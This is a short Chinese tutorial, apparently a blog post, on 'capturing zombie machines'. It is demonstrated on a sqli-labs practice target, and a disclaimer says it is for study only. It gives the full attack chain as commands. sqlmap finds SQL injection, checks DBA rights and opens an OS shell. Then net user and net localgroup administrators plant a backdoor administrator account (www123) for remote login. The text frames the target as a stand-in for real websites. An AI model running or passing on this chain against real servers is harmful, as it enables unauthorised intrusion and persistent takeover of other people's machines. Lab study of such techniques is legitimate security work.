001-肉鸡抓取(DOS命令：net user 用户 密码 /add)
本文以抓肉鸡为例，展示 net user 用户 密码 /add 和 net localgroup administrators 用户 在实战中的应用；需要在虚拟机上安装 sqli-labs 靶场，把他当作成真实的网站即可。
声明:本文所有内容仅供学习参考，请勿触犯《网络安全法》
|肉鸡的概念|DOS命令 |
用到的知识：
DOS基本命令: net user 用户 密码 /add net localgroup administrators 用户 /add 工具： SQLMAP
肉鸡抓取
要想抓取肉鸡就得先找到抓肉鸡的入口（网站漏洞），大部分被抓到的肉鸡都是因为搭建在肉鸡上的网站存在漏洞，所以其被抓。 1、虚拟机上安装好 sqli-labs 靶场后，用宿主机访问虚拟机上的靶场（下图相当于真实网站的页面） 2、用 SQLMAP 探测发现其存在SQL注入漏洞（真实网站存在SQL注入漏洞）
sqlmap.py -u "http://192.168.0.68:10086/sqli-labs/Less-3/?id=1" --batch
3、查看是否有权限连接网站所在服务器shell
sqlmap.py -u "http://192.168.0.68:10086/sqli-labs/Less-3/?id=1" --is-dba --batch
4、确定有权限后，连接服务器，获取其shell
sqlmap.py -u "http://192.168.0.68:10086/sqli-labs/Less-3/?id=1" --os-shell
5、拿到shell后是抓鸡成功的第一步，接下来在肉鸡上创建一个用户，并将其添加到管理员用户组。
net user www123 www123 /add
net localgroup administrators www123 /add
6、用本机连接肉鸡，连接用户和密码为上面创建的用户和密码，连接首页填服务器IP,成功抓取肉鸡